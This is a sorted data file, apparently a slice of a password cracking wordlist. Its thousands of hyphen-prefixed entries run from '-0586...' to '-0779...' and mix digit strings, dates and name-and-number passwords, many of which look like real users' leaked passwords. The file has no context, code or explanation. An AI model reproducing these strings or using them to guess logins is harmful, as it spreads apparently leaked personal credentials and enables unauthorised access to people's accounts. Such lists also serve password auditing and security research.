-05862421y159 -05864931web -058670 -0587 -058732 -058743 -0587929 -0588 -058804 -05884584 -058871noiamb -058888 -058898339 -058899 -0588rva -0589 -058978 -058_odef! -0590 -059015 -059026 -0590429 -0590759 -05916872+ -05917618 -0591happy -059205 -05921eingang -0592rhi -059307329 -059331 -059345290 -059400946200 -0594351100 -059435943 -0594464leh -0594464leh55 -059459546 -0594monfra -0596 -059600 -059721201 -05972637818 -05973621 -059750 -0597531 -0597wtwj -0598779370 -059881 -059892257 -059898 -0599 -05990599 -0599203070 -0599241159 -05992731346 -0599hong -059SQbb -059hamada -059nic -05@VVms -05A9mHR -05ACHS5426 -05B4xuU142 -05Baer06 -05Bihari -05C319DDC2 -05Cactus -05Christ -05EB2S4A -05Falkolino03 -05G2IWC -05GYR2O -05I08l81B -05I45tae -05Ixl2JE -05J07M1981Y -05Lutzi30 -05M12AY82 -05M1redfox -05MJ97201 -05Marga2410 -05Nast351! -05Nati1984 -05QbhbI5 -05Rand343y001100 -05RneT14 -05SARAHNIK -05Shadow1998 -05TSEP480 -05TaylorD07 -05Telefon0712 -05Tronic57 -05V9YWYE -05WK1hH -05ZFaZMg -05a03a94a -05a04f69 -05a62f1 -05abc39t07 -05aguilera -05atan -05atana04 -05azvEy661 -05b13a -05b3c6b -05b4sc3!!0 -05b57b65 -05babylonn1 -05bkrsJ9 -05bud202# -05bumaye -05cdonoso25 -05cffa10 -05chelsea08 -05chisima555 -05christ -05circle -05cng111696 -05d118a0 -05d96145 -05dan71 -05de4662 -05didou02 -05dtic -05e_thorn -05ec89e -05enero* -05fine06 -05flo10 -05garten05 -05geetar1 -05giu57 -05hallo08 -05halloste -05hannah2210 -05haustechnik1 -05huggies0123 -05iula1975 -05jac27 -05jh08p28 -05jimmyloot -05jo03se91 -05jobro07 -05jokED312 -05juin1980 -05jule12 -05kalasknatte -05kamat123 -05katie12 -05katieh24 -05kizzcha4 -05kosh09 -05ktuaN -05kzoi0dk -05land -05lanm -05lena301201 -05lgsPvia -05lightfury -05lionsfan2 -05lubj001113 -05maket -05may -05mei05 -05mf#i1969 -05nashuizhe -05navadie1 -05nissepik -05no1luvme -05nonather -05november1987 -05ntcctnn -05oQ0vz487 -05oliifilip -05ongo01 -05p05s79 -05paul3252004 -05q1ck -05quartz! -05r130910b -05ra77ma -05rednaxela25 -05rifenevi -05rm2332pr -05ruby22face -05ruudgers10 -05s.v.b. -05sGbdR -05safety -05sallubaba -05samson6872 -05sandacze -05sbgj4eva -05schachmatt64 -05schneckn -05schneider1976 -05schnufffi21 -05scoobydoo2 -05sha05x1 -05slight505 -05sp102030 -05spankit123 -05sqiLLOC -05ssr -05ssr123456 -05stern+123 -05stilicone -05stuco -05szachowski23 -05tessa04 -05thi11 -05tina2511 -05tinamo14 -05to02bi90 -05tpr0dukt3 -05u1r15 -05usa2004a -05uv0vdo -05vadihelvete -05vampirecat99 -05verkin229 -05whitesox#1 -05wojtek200 -05ycgh25239 -05yqjnfjbg -05yxix8Ud -05zyd1978 -05zyoZY951 -06 -06$044 -06,kenan -06-03mick -06.nov.95 -06/phoenix/06 -06/toto -0600 -060037 -060060 -06009452 -06009550 -0601 -0601!@# -060102 -060104 -060105 -060106 -060107 -060111988 -060113 -06011968 -06011969 -06011980 -06011986 -06011988 -06011989 -06011992 -06011994 -060152xx -0601579 -060158 -060159 -060159s10168 -060162 -060167 -060173 -060174 -060175 -0601755 -060175j20119 -060176 -060178 -060180 -060181 -060182 -060183 -060184 -060185 -060186 -060187 -060187samio[ -060188 -060189 -060190 -060191 -060191888eu -060192 -060193 -060194 -060195 -060196 -060198 -0601=flo -0601Solo -0601cgt -0601mark -0601taube -0602 -060200 -060201 -060202 -060203 -060204 -060205 -060206 -06020602 -060207 -060208 -06020917 -060214 -06021510 -06021550096 -06021948 -06021957saba -0602196545 -06021977 -06021979 -06021980 -06021981 -06021982 -06021984 -06021987 -06021988 -06021991 -06021997 -06022002b -06022623085 -060249 -060250mb -06026203 -060268 -06026jmsg -060272 -060273 -060275 -060276 -0602762513 -060280 -060280sata -060281 -060284 -060285 -060286 -060287 -060288 -060289 -06028mega -060290 -060291 -060292 -060293 -060294 -06029788 -0602gackt -0603 -060302ea -060304 -060306 -06030624 -060307 -0603092571 -06031964 -06031976 -06031978 -06031979 -06031982 -06031983 -06031987 -06031991 -06031992 -06031993 -06033103! -060342 -060347 -060350 -060355 -0603553762@ -060358 -060359 -0603606102 -060372 -060374 -060378 -060379 -060380 -060383 -060384 -060385 -060386 -060387 -060388 -060389 -060390 -060391 -060392 -060393 -060394 -060395 -060399 -0604 -060400 -06040002704cm -060401 -060402 -060403 -060404 -060405 -060406 -060407 -060408alissa -06041 -06041943 -06041972legicom -060419810 -06041985luki -06041988 -06041989ANDREW -06041990 -06041998 -06042002 -06044879 -060453 -060455 -060456072 -060457 -06045DF632 -060460 -060465 -060466 -060467 -060470 -06047419sss -060476 -060478 -060480 -060481 -060481A70711 -060482 -060483 -060483d50540 -060484 -060485 -060486 -060487 -060487clj -060488 -060489 -060490 -060491 -060492 -060493 -060494 -060495 -0604cabrerizo -0605 -060500 -06050078 -060502 -060504 -060506 -060507 -06051968 -06051976 -06051977 -06051985 -06051986 -06051988 -0605198824 -06051990 -06051990kceduen -06051992 -06052010 -060525 -060529sexsex -06052g -06055 -060554 -060564pj -060566 -060578 -060579 -060582 -060584 -0605844 -060585 -060585dd -060586 -060587 -060588 -060589 -060590 -060591 -060592 -060593 -060595 -060598 -0606 -060601 -060603 -060604 -060605 -060606 -060607 -060608 -060610 -06061198 -06061967 -0606197252 -06061977 -06061979 -06061987 -06061989 -06061990 -06061994 -06061995 -06061996kl -06062002 -06062009 -06062mgc -06063026 -060633 -060644 -060648 -060660 -060662 -060666 -060672 -060677 -060678 -0606788ssa -060679 -060680 -060681 -060682 -060683 -060683h61920 -060684 -060685 -060685az -060686 -060687 -060688 -060688a -060688aa -060689 -060690 -060691 -060692 -060693 -060694 -060695 -060696 -060697 -060697luciane -060698 -060699 -0607 -060701 -060702 -060703 -060706 -060707 -060708 -06070887 -060711031995b -0607121462 -060713 -06071321more -060718 -06071954s -06071957 -06071965 -06071972heckfy -06071982 -06071983 -06071985 -06071986 -06071987 -06071989 -06071990 -06071992 -06071993 -06071994 -060720 -060731 -060756s -06076490 -060767 -060768 -060769 -060770bi -060779 -060781 -060782 -060782221 -060783 -060784 -060785 -060786 -060787 -060787061180 -060788 -060789 -060790 -060791 -060791af -060792 -060793 -060794 -060795 -060796 -0607biba -060802 -060802m -06080362 -060804 -060805 -060806 -060806KL -060807 -060808 -06081204 -060818 -06081961 -06081978 -06081981 -06081982 -06081984 -06081987 -06081990 -06081991 -060827215 -060828450 -060832 -060840 -060842 -060848mamae -060858 -060863boba -060869 -06087086 -060870s11218 -060872elena -060874 -060877 -060878 -06087891lh -060879 -060879ria -060880 -060880jj -060880z61910 -060881 -060882 -060883 -060884 -060885 -060886 -060887 -060887s -060888 -060889 -060890 -060891 -060892 -060893 -060894 -060895 -060897 -0608@y -0608Noel -0609 -060900 -060901 -060904 -060905 -060906 -06090646 -060907 -060911278 -06091966 -06091972 -06091980 -06091983 -06091984 -06091985 -06091986 -06091986tim -06091988 -06091994 -06091996av -060928 -060934 -060953 -060956 -060961 -060963 -060965 -060966 -060967 -06097431 -0609772142 -060979 -060981 -060982 -060983 -060984 -060985 -060986 -060987 -060988 -060989 -060990 -060991 -060992 -060993 -060994 -060995 -060995RXC -060996 -0609974500226 -0609=UN -0609GWADA -0609joi -0609sep -060bce017 -060dbb5d -0610 -061000b -061001 -061003 -061006 -061007 -06101979 -06101980 -061019820 -06101986 -06101988 -06101989 -06101991 -06101992 -06101994pai% -0610199922 -0610350442 -06106 -061060 -061063 -061064 -061067 -061069 -061071 -061075 -061078 -061078Ja* -061079 -061080 -061082 -061083 -061084 -061084081507 -061085 -061086 -061087 -061088 -061089 -061090 -061091 -061092 -061093 -061094 -0610942006 -061095 -0610961718 -0610981464012 -0610ingo20001 -0610mcz -0611 -061100 -06110101 -061103 -061104 -061105 -061105040310 -061106 -06110611 -061107 -06111962renfr -06111976 -06111980[eq -0611198719 -06111988 -06111990 -06111992 -06112 -061142 -061160 -061164 -061168bazar -0611691090 -061171 -061172 -061173 -061175 -061177 -061178 -061179 -061180 -061181 -061182 -061183 -061184 -061185 -061185t -061186 -061187 -061188 -061189 -061189al -061189d -061190 -061191 -061192 -0611921381 -061193 -061193AL- -061194 -061195 -061196 -061199 -061199Aa -0612 -061201 -061203 -061204 -061205 -061206 -061206.3 -061207 -0612176795 -06121937 -06121945 -06121952 -06121968 -06121978 -06121981 -06121982 -06121983 -06121988 -06121989 -06121990 -06121990open -06121991 -06122001 -061227 -06122918 -0612305es -061250 -0612604826 -061262 -061263 -061264 -061264mc -06126570522 -061270 -061271432 -061273 -061274 -061275 -061276 -061278 -061280 -061281 -061282 -061282FRM -061283 -061284 -061284mox -061285 -061286 -061287 -061288 -061289 -061290 -061291 -06129112669 -061292 -061292luh -061293 -061294 -061295 -061299 -0612jjj -0613 -061301 -0613057631 -06131106 -06131146 -06131970 -06131976 -06131981 -0613231769 -061328 -061334 -0613385501 -0613405020 -061351 -061355 -061372 -0613744500 -061377 -061378519 -061386 -061387 -061388 -061389 -061390 -061391 -061396 -061397 -0613db -061400 -061403 -061405 -061406 -06140614 -0614180054 -0614311220 -061433 -061438 -061452jk -06146 -061466 -061467 -061468 -061485 -061488 -061489 -061490 -061491 -061492 -06149313 -061496 -061497 -061498 -061499 -0615 -06150 -061500 -0615003239 -0615020opp -061503 -061506 -0615081978b -06150829 -0615158851 -06151981 -061569 -061579 -061586 -061587 -061588 -061589 -061590 -061591 -061593367 -061594 -061596 -0616 -061606 -061607 -0616089917 -0616108775 -06161973 -061633568 -061636 -06163809 -061649c -061665 -0616814976 -061686 -0616876365 -061688 -061689 -061689m -06169.l -061690 -061691 -0617 -061700 -0617019017 -061705 -061705055 -061706 -06170617 -0617089940 -061713 -06171967 -06171973 -061723 -061728010 -0617364917 -061747 -061765 -061782 -061783 -061785 -061788 -061789 -06178900000 -061790 -061791 -061792mae -061793 -061793lmo -061795 -061799 -0617a7aa3f -0617er0950 -0618 -06180 -061800 -061803 -061805 -06180618 -0618080818 -061814 -061820 -0618251745 -0618666662 -0618747470 -061875 -061877 -0618790734 -061881974 -061885 -061886 -061890 -061891 -061892 -061894 -061895 -0618974561 -0618br -061901 -061901r -061903 -0619030252 -061904 -061906 -06190720 -06191214 -0619161261 -06191976 -0619523c -061953 -061960 -061968 -061969 -061974 -061977 -061978 -061979 -061980 -061981 -061982 -061983 -061984 -061985 -061986 -061987 -061988 -061989 -061990 -061991 -061992 -061993 -061994 -061995 -061996 -061997 -061998 -061999 -061999785 -062 -0620 -06200 -062002 -062003 -062004 -062006 -062007 -0620157421 -06201948 -0620287609 -0620292496 -062039 -0620400080 -062057 -062066 -062079 -0620862603 -062087 -062088 -062089 -062090 -062091 -062093 -06209323724 -062097 -0621 -062103 -062104 -062106 -06212003 -062131 -062140 -0621591803 -0621642783 -0621653339 -062178 -062183 -062185 -062186 -062187 -062188 -062189 -062190 -062191 -062197 -062197905crb -062199 -0621ams -0621tartan -0622 -0622018184 -062202 -062204 -062206 -06220622 -062212 -06221400wb -0622181813 -062250284 -0622523571 -062253468 -0622629070 -0622639102 -0622682649 -062273 -062274 -062276 -062280 -062282 -062283 -062284 -062285 -062286 -062287 -062288 -062289 -062290 -062291 -062293 -062299 -0622jrjr -0623 -062300 -062301 -062306 -06230623 -062307 -062309sjwiley -062313460 -06231977 -06231986 -06232001 -062332 -0623466474 -062349 -062364 -062365 -0623671490 -062370 -062380 -062381 -062384 -062385 -062387 -062388 -062389 -062390 -062391 -062393 -062395 -0624 -062402 -062406 -062414 -062415* -062416254 -06242000t -0624281478 -062442 -062443 -062457 -0624655798 -062470 -062475 -062478 -062485 -062487 -062488 -062489 -062490 -062491 -062492 -0624920684 -062495 -062497 -062500102 -062500102240788 -062505 -06250748 -06251106 -06251982 -062525 -0625270704 -062531amigos -0625520205 -062553 -062560 -062562 -062576 -062579 -062582 -062584 -062587 -062588 -062589 -062590 -062591 -062592 -062593 -062595 -062599 -0625chrb -0626 -062602 -062602rc -062603 -062604 -062606 -062609 -06261982 -06261988 -062626 -062633 -062635371 -0626452315 -062657alo -0626597304 -062671 -062672 -062676 -062678 -062686 -062687 -062688 -062689 -062690 -062691 -062692@dr -062693 -062697 -0626el -0626jp -062700 -06270627 -06271118 -062713 -06271992 -06271998 -0627326226 -062749 -0627681385 -062777 -062780 -062785 -062787 -062788 -0627886636 -062789 -062790 -062791 -0627AC -0628 -062803 -062804 -062806 -062847 -062852 -062880 -062885 -062886 -062888 -062889 -062890 -0629$icd -062900 -062901 -062902 -062903 -062959 -062977 -062980 -062980cl -062987 -062988 -062989 -062990 -062991 -062996 -062998ts -0630 -0630026277 -0630035448 -063004 -0630102 -06301181 -06301715 -06302452117 -06302630197 -06302830023 -063029 -063039 -0630585621 -063073 -063084 -063085 -063087 -063088 -063089 -063090 -063091 -063092 -063095 -063097 -063098 -0630993342 -063152055 -0631UTT -0631ywd -0632220436 -0632368985 -063239985 -0633079236 -063320 -0633282747 -063340752 -063351 -063359725 -0633615101 -063365417 -06337104 -0633724 -063385390 -0635 -063520 -063537402 -0635491 -063635 -0636850684 -06369201 -0636hVOM -063700 -063790 -0637nyky -063819 -063932538332 -063953252 -06399520 -063efa -0640257758 -06412667 -064172 -0641769213 -06417f1625 -0641920b -0641963jarek -0642000765 -0642007a -06420643 -0642479043 -0642627945 -06432405 -06438+3560- -0643952089 -064413737 -0644248809 -064462292 -0645158819 -064536 -064569742 -0646 -0646125346 -06461253467 -064675561 -0647 -064700a -064763 -064782799.. -0648015793 -06480700 -064822 -064853 -0649 -06495ti -064rewal -06500650s -06509925905 -065142682 -0652176053 -0652369668 -06530653 -065317 -065330741 -065339 -06535-7179 -06540228 -065424 -0655195593 -06556585 -065590527 -0655957h -06561 -06561167 -065665378 -065675240 -065741 -065789922 -065842067 -06585542 -065mpzz552 -065sgu -0660 -06607642814 -0660786558 -0660913718 -0660df4953 -06610661tim -06612266 -066162 -0661634028 -0661cg -066206 -066210980a -066213070 -066229903 -0662357054 -06624020 -0662424136 -0662459679 -0662526985 -066273337 -0663 -06632000 -0663267614 -066327 -066335789 -0663402511 -0663411 -0663707491 -06642365720 -06643467385m -06643778906 -06643786582C -066442122 -06644960935 -06645149991 -06645232710 -066453929 -06645519910 -06646424861 -0664852584660 -0665 -066549578 -066581372 -06659152 -0666 -06660SPH -0666180342 -06662291 -066634956 -066666 -0666891163 -06671818giselle -066774 -0667907797 -0668 -0668025254 -066813 -0668952321 -0669 -0669012404 -066995684 -066c6w2 -066cZAUI -0670 -06701936327 -06701973doha -06702173132 -067026280 -067051136 -06705117 -0670848961 -0670bird -0671 -067120 -0671239456 -0671590342 -067196061 -0672 -0672165295tb -067277412 -06727w5227s -06728404 -0674 -0675213677chou -067564 -0676 -0676202461 -06764042017 -0676472858z -06766228 -067663060 -06767227604 -06769027839 -067716 -06773301 -0677825316 -0677jrs -067801212 -06780678 -067842 -0678650806 -0678936196 -0679 -06790679tilou -0679418280 -067H7TK -067d54 -0680236931 -0681094364 -06811985 -0681b9a -0682901141 -06831125385 -06831665 -0683743712 -068454 -0684932557 -0684994 -0685887539 -068592 -0685Wakka -06864664 -068653 -0686BD2 -0687 -068705 -06870687 -06874520 -06879294 -0688061 -06890077 -068915617 -068924 -068926 -068932 -069003niunia -0690484315 -069061761 -0690csy -06910691 -069129121 -069140600 -06917jessen -06919709 -06926111 -0693290 -06940694 -069449896ri -0694908402 -0695224 -069588810 -0695fab -069612120 -069799 -069888242 -0699 -069911851909ph -069912049206 -069913025678910 -06991990 -0699685843 -0699a489 -069jU9yc7 -069killer -069mmm -069wyvern -06=erables -06A29S9 -06BYTRr314 -06DANDY2004 -06EKO9 -06GEcRQ332 -06HOaWMm7 -06I3BJma -06IAdgcm -06Klagoka -06M9EOU -06MSA0675 -06Mark14344 -06NOV84 -06PHjR0 -06RsjNA2 -06Soccer -06UfpXV116 -06VhJMcX -06YFKacn -06Z5uVo -06[y28vln -06a1rm0lek -06ab2 -06anna0711 -06april1901 -06april2004 -06aq61xc -06audliniste -06avg2003 -06b1uicx50 -06babsi5441 -06ballhaus69 -06basse08 -06blade -06bp1411 -06carf3279 -06charger -06chevy -06chloe -06christ -06clvl4102 -06cmp28zxz -06crambra -06d06m78g -06d12m1968g -06de56dmwc -06devilsxx -06e3b34 -06egypt386 -06er8unny -06f089b3 -06f76d3f -06fe2xkw -06fhhf6886 -06folisette -06four -06gWVbnP -06gaetan -06gatan -06gauthewildboy -06genetics213 -06ghoC0592 -06guesshow78 -06hans01 -06hasebaby -06heidi11 -06hgp5793 -06hno34 -06hummer -06ivan70 -06j10v83s -06je53 -06jg579031 -06jonavb123 -06juin -06juli1960 -06juni -06kKgqT3ns -06karin.3 -06karlsberger88 -06lamerrulz -06lasauvagere -06lilngster123 -06lokl0077 -06lydonbuh -06mangobus370 -06marlies07 -06marzo1995 -06masuchi -06mitsan666 -06msa0675 -06mysqldumper05 -06najtrebor -06nice -06nicu -06nilz07 -06novembre2007 -06o1972o06 -06over-doze -06p111964 -06pack -06palop -06pegaz06 -06pestopesto2 -06pitcal -06polli477 -06pollyckone -06polwro06 -06r3rzkdder25f -06racim123 -06racim165 -06rangermech -06rickygamers -06rigparigpa -06rt32 -06s01z1987 -06s3s4ru02@ -06sandramo78 -06sanepsed -06seb0682 -06sedona -06sei1957 -06sej52 -06serhat1986 -06shaggy3009 -06shevagoal -06signal -06skuter515 -06sniper -06soulzh1soulzh1 -06ssVn -06svein1989 -06t39r0m71 -06telefonde -06thebest95 -06tigga1991 -06ty8kC -06u0f5s -06uVu5X -06ujLHuv -06ullswater -06vanessa999 -06vick0912 -06virgo1979 -06volcomca4 -06vreiv524 -06werryboy1 -06y8X2$ -06yaggy2004 -06yaneli -06yb735 -06zoey -07 -07$ -07* -07**6 -07*RoadKing -07,04,63 -07-11-1990 -07-165 -07-24-81 -07-5972 -07-CB -07-FV -07-Nov-66 -07.11.97 -07/02/93 -07/24/07 -07/linda/ -0700202014078620 -0700322668 -0700508802 -0700880 -0700880774quark -0700loki -0701 -070100 -070105 -070106 -070107 -07011520 -07011958 -07011971 -07011978 -07011982 -07011984 -07011987 -07011991 -07011992a -07011993wsw -07011997 -07012001 -07012003 -07012005 -07012204 -070145 -070145887 -070147 -070150 -070162 -070167 -07016969 -070169mo -070173 -070175 -070177 -070179 -070183 -070183780278 -070184 -070185 -070186 -070187 -070188 -070189 -070190 -070191 -070192 -070193 -070194 -070195 -070199 -0701mo -0702 -070200 -0702020093 -0702034466 -070205 -070206 -070207 -070208 -070209 -0702101313 -07021960 -07021979tina -07021986 -07021988 -07021989 -07021993 -07021996 -07022998 -070250 -070279 -070279nromka -070282 -070284 -070284d10814 -070285 -070286 -07028699945 -0702869994589 -070287 -070288 -07028885 -070289 -070290 -070290$07 -070291 -070292 -070293 -070293e -070294 -0702950580 -070298 -0702989075 -070299 -0702Booh -0702elfl -0702xyz12 -070303 -070304 -070305 -070306 -070307 -070308 -07030man -07031195 -0703152392 -0703163325 -07031962 -07031981 -07031982 -07031990 -07031993 -07031994basia -07031996 -07031999 -07032500 -070328 -0703372594 -0703376195 -070347 -070348b32315 -0703571567 -070362 -0703668579 -070367klimov -070368 -070370 -070371/Ho -0703717015 -070375 -070377020978 -070378 -070379 -070383 -070384 -070385 -070386 -07038682192 -070387 -070388 -0703888524 -070389 -0703899315 -070390 -070391 -070392 -070393 -070395 -0703973290038 -0703Mira -070400 -070401 -070404 -070405 -070406 -070407 -0704146487 -070419 -07041976 -07041983 -07041984 -07041985 -07041988 -07041990 -07042003 -070423777845 -0704355882 -0704455877 -070458 -070462 -070468 -070472 -0704732862 -0704738448 -070475 -0704768051 -070476B30810 -070478 -070480 -070483 -070484 -070485 -070486 -070487 -070488 -070489 -0704892424 -070490 -070491 -070492 -070493 -070494 -070495 -0704ewelina -0705 -070500 -070503 -070504 -070505 -070506 -07050689 -070507 -070508 -07051 -070519612 -07051978 -07051981 -07051983 -07051985 -07051986 -07051988mewa -07051995 -07051998 -070524 -070525 -070533 -0705440382 -0705458426 -0705504319 -0705546464 -070569 -070570404 -070576 -0705775867 -070579 -070580 -070582 -070583 -070583h32217 -070584 -070585 -070586 -070587 -070588 -070589 -070590 -070591 -070592 -070592b2 -070593 -070594 -0705940487 -070595 -0705MIAU -0705danny -0705miau -0706 -070601 -070603 -070605 -070605Ksenija -070607 -0706164638 -07061973 -07061980 -07061984 -07061984kay -07061987 -07061990 -07061991 -07061994 -07061995 -07061999 -07062000 -0706370090 -07063774763 -07065128610 -070669 -070670 -070671 -070671kreol -070674 -0706751807 -070675544f12 -070675usmc -070678 -070681 -070683 -070684ts -070685 -070686 -070687 -070688 -070689 -070689floane -070690 -070691 -070692 -070693 -070694 -0706962443 -0706gh -0707 -07070 -070700 -070701 -0707010255626 -070702 -070703 -070704 -070705 -070706 -070707 -07070707 -070707071664 -070707Roste -070707d -070708 -070713tutanhamon -070719531 -07071957 -07071966 -07071975 -07071983 -07071985 -07071987 -07071988 -07071989 -07071990 -07071993 -07071994S -07072007 -0707221293 -07072511 -070738 -0707442474 -0707623724 -070766 -070769 -0707695697 -070770 -070773 -070775 -070777 -070779 -070780 -070781 -070782 -070783 -070783tom -070784 -070784pol -070785 -070786 -070787 -07078708 -070788 -070789 -070790 -070791 -070792 -070793 -070794 -070795 -070797 -0708 -070801 -070803 -070804 -0708046002 -070805 -070806 -070807 -070809 -0708131398 -07081956 -07081965 -07081977 -07081979 -07081982 -07081983 -0708198500 -07081991 -07081991atad -07081992 -07081993 -07081999 -070823309 -0708281536 -070837961 -070849 -0708542757 -0708566445 -070858 -070859Susi -070861 -070862 -070863 -0708636535 -070864 -070868 -070873iap -070874s60233 -070875dima -070877 -070879 -070880 -070881fra -070882 -070883 -070884 -07088470 -070885 -070886 -070887 -070888 -070889 -070890 -070891 -070892 -070893 -070894 -070894@ -0708955663 -070896 -070898 -070899 -0708biteme -0708pepe -070900 -070901 -070903 -070904 -070905 -070906 -070907 -070913 -070919 -07091953 -070919704489 -07091972madmax -07091976kandidat -07091979 -07091981 -07091984vagtor -07091986 -07091987 -07091988 -07091992 -07091996 -07091999 -07092527 -070930 -0709466135 -070956 -070957 -070958 -070961 -070962 -070962qwert -070963 -07096313 -070968 -07096fktrc -070974 -070977 -070980 -070981 -070981! -070982 -070984 -070985 -070986 -070987 -070988 -070989 -070990 -070991 -070992 -070993 -0709951215 -070997 -0709EKWTM -0709ksd4456 -070matte -0710 -071000 -071003 -071004 -071006 -071007 -071012 -07101956 -07101970 -07101977o -07101984 -07101992 -07101995 -07101995max -07102000 -07102001 -07102007 -071040654 -071053 -071066 -071069 -071076 -071077 -071079 -071081 -071082 -071082x -071083 -071084 -071085 -071085libra -071086 -071087 -071087A -071088 -071089 -07109 -071090 -071091 -071092 -071093 -071094 -0710bats -0710bebe -0710relefm -0711 -071101 -071104 -071105 -071106 -071107 -07111834svmi -07111917 -07111968 -07111974 -07111976 -07111979 -07111981 -07111983 -07111986 -07111988 -0711456 -0711463 -071149 -071153Felix -07116 -071160 -071161 -071162 -071163 -071170 -0711705556 -071174 -07117555 -071176 -071177 -071178 -071179 -071180 -071181 -071182 -071182m72415 -071183 -071184 -071185 -071186 -071187 -071188 -071189 -071190 -071191 -071192 -071193 -071193499 -071193me -071194 -071195 -071197 -071198 -0711pp -0711qq -0712 -071200 -071203 -071204 -071205 -071206 -071207 -071207mhai -0712094514 -071218893582 -07121969 -07121973 -07121985 -07121986 -07121991 -07121993 -07121995k -071220342 -071234567gg -071258 -071263 -071269 -071274 -071276 -071277 -071279 -071281 -071282 -071282t32614 -071283 -071284 -071284mar -071285 -071286 -071287 -071288 -071289 -071290 -071290lg -071291 -07129149501 -071292 -071293 -071294 -071295 -0712blackdahlia -0713 -071301 -07130303 -071304 -07131977 -071337 -071346 -071347 -071357 -0713618997 -071371 -071374311 -071381swk10 -071387 -071388 -071389 -071390 -071391 -071396 -071399 -0713cdcd -0713e14f -0714 -071401 -071403 -071406 -071406060 -071407 -07141973 -0714199 -071421 -07142128 -071436pimp -0714485603 -071456 -071472 -071484 -071487 -071488 -071489 -071490 -071491 -071500 -071504 -071506 -0715172123 -07151957 -07152284388 -0715342208 -0715407088 -0715523056 -071572 -071575101531646 -0715788071 -071587 -071588 -071589 -071590 -071591 -071592 -071592php -071592phpbb -071592pm -071597 -0715986870 -0715grc -0716 -071600 -071601 -071604 -071605 -07160702 -07161973 -0716204330 -0716282681 -071649999 -0716542188 -071685 -071687 -071688 -071690 -071693 -071694 -071699 -0716ke -0716sr -071706 -07171707 -07172669 -071727 -071734 -07174152 -071771sf. -071787 -071788 -071789 -071790 -071791 -071796 -071800 -071806 -07181978fbf -07181992 -07182006 -071822241 -071832 -071836 -0718384964 -0718459839 -071856 -07187wilson7 -071887 -071889 -07189 -071890 -071894 -071895 -071895b -071898 -0719 -071906 -07192007LE -071922 -071936 -071961 -071967 -071968 -071969 -071973alisher -071977 -071980 -071981 -071982 -071983 -071984 -071985 -071986 -071987 -071988 -071989 -071990 -07199000 -071991 -071992 -071993 -071994 -071995 -071996 -071997 -071edca6 -072000 -072001 -072007 -07201990 -07201999 -072031 -0720327605 -0720520756 -072069 -072074 -072082 -0720827 -072084proxyma -072088 -072090 -072098 -0720F80 -0720blondie -0720ht -0721 -072106 -072107 -07211962 -07211980 -072121 -07213355 -072160 -072166 -072186 -072187 -072188 -072189 -072190 -072192 -072199 -0721Juni1981 -0721bfh -0721feb -0721rgnn -0722 -072200 -072203 -072205 -072205rst -072206 -072219860 -07221994 -0722372419 -0722407764 -0722445180 -072256 -072265 -072278 -072280 -072284 -072284595 -072285 -072286 -072287 -072288 -072289 -072290 -072292 -0722961026 -072297 -07229900 -0723 -072300 -072301 -072302 -072305 -072306 -072307 -0723122227 -07231985 -0723229862 -0723360704 -072350 -072357 -072372 -072376 -072385 -072386 -072387 -072389 -072390 -0723910595 -072392 -072393 -072394 -072399 -07241965 -072434204 -072455 -0724715391 -072481 -072483 -072486 -072487 -07248995 -072490 -072491 -072496 -072499 -0724alan? -07251981 -07251992 -072560 -07256marcel -072576 -072585 -072586 -072587 -072588 -072589 -072590 -072591 -072596 -072598 -0726 -0726064130 -07262003 -072626 -072659 -072663 -072666f -072668 -072677 -072686 -072688 -072689 -072690 -072692 -072699 -0727 -072701 -07270290@hot -072707 -0727453329 -072774 -072779JW -072780 -072781 -072786 -072787 -072789 -072790 -072791 -072797 -072798 -072799 -0727992259 -072800 -072802 -072806 -072807 -07280830 -07281967 -07282251365 -072866 -072880 -072886 -072889 -072890 -072892 -072895 -072896 -0728marc -0729 -07290000 -072906 -072911 -07291985 -0729335526 -072957 -072976 -072985 -072986 -072988 -072989 -072990 -072992 -072995 -072mj664466 -0730 -07300 -073000 -0730108 -07301182nov -0730135312 -07301971 -073031 -07304w -073059565900 -073060 -0730612 -073065 -073069 -073073 -0730775377 -073086 -073087 -073088 -0730880745 -073090 -073091 -073094b -0730979931 -0731 -073100 -073104 -073104ad -073105 -07312004 -073160 -073187 -073189 -073190 -073191 -073192 -0731R&LJ -0732 -0732663 -073300 -0733143995 -0733166114 -0733251234 -07332518 -0733428493 -0733602517 -0734020114ve -0734202763 -0734257006 -0735038927 -07352981011189 -0735444 -0735760082pp -0735818968 -0735839917 -0735921016 -073614 -0736210190 -0736295503 -0736310 -073653Sh -0736571717 -0736736631 -0736811256 -07368384 -0737005178 -0737063349 -0737208310 -073721 -0737245548 -0737301265 -0737514275 -0737640063 -0738 -073800 -0738020585 -07381978677 -073860 -0738951430 -0738bmg -07390739 -0739135174 -0739164048 -0739282642 -0739299178 -0739351395 -0739484470 -0739863398 -0739983624 -073f976wm -073xc3dr1n -074 -07400740 -0740159305 -0740679097 -07407 -074074jvo -07408996 -07410ap -0741295991 -0741516717 -0741526kh -0741543050 -0741620093 -074186659 -074206658 -07422 -074221 -07425 -074260 -0742853760 -0742898852 -074291 -074358 -074366864 -0744 -07443231212 -07448426 -0745 -0745164465 -074545 -0745660122 -0746 -0746193394 -0746373933 -0746798066 -07472408nb -074768362 -0747mag -0748477225 -0748845 -0748997800 -074ea471 -075 -075006 -0750toto -07510752 -07511 -07520752 -07521123 -07521a0570 -0752201091964 -0752244050 -0752rera -0752sd -075356466 -075411651 -07549230 -0754jentre -075521894 -07553007 -075531473 -0755473 -075690ng -07570weida -0758 -075812290 -0758907589 -075907 -075VSKI -075fd87 -075pd358 -0760007 -07613370 -07616 -07621969410702 -07622123 -0762422400 -0762431229 -0762545404 -076280848 -0763037460 -0763116026 -076311a -0763168 -07631977 -076327 -0763365101 -0764008666s -07648914999 -076515 -07656 -076569 -0766 -076602 -076642227 -076656 -076678389 -076697 -0766x5 -0768099527 -0768141606 -0768529442 -0768531242 -0768540621 -076871 -076953 -076957 -076eni -076tD6l425 -07707201202 -07709195617 -07709697162 -0771 -07711707 -07712113598 -0771377197 -07714730 -07714808 -07715205274 -07715464600 -07717168843 -07719419313 -07719835834 -07719975285 -0772 -077211 -07721231 -077212903 -0772545001 -0772547 -0772548754 -0772gtl -0773199513 -07732064069 -07733194498 -07733276239 -0773479928 -0773846327 -077389038 -0773937619d -077398927* -0773998270 -0774436190 -077449 -07746096748 -0774737094 -0775012412734 -077511719 -07751238254 -07751974545 -077524077524 -077531391 -07760 -0776076978 -077623 -0776280qwerty -077629 -0776446614 -0776509188 -0776542531 -07770911 -07771977 -0777888999 -0778392432 -0778446614 -077876 -07788647663 -07788908552 -07790sprocket -07792296843 -07792761519 -077979 -07799410076 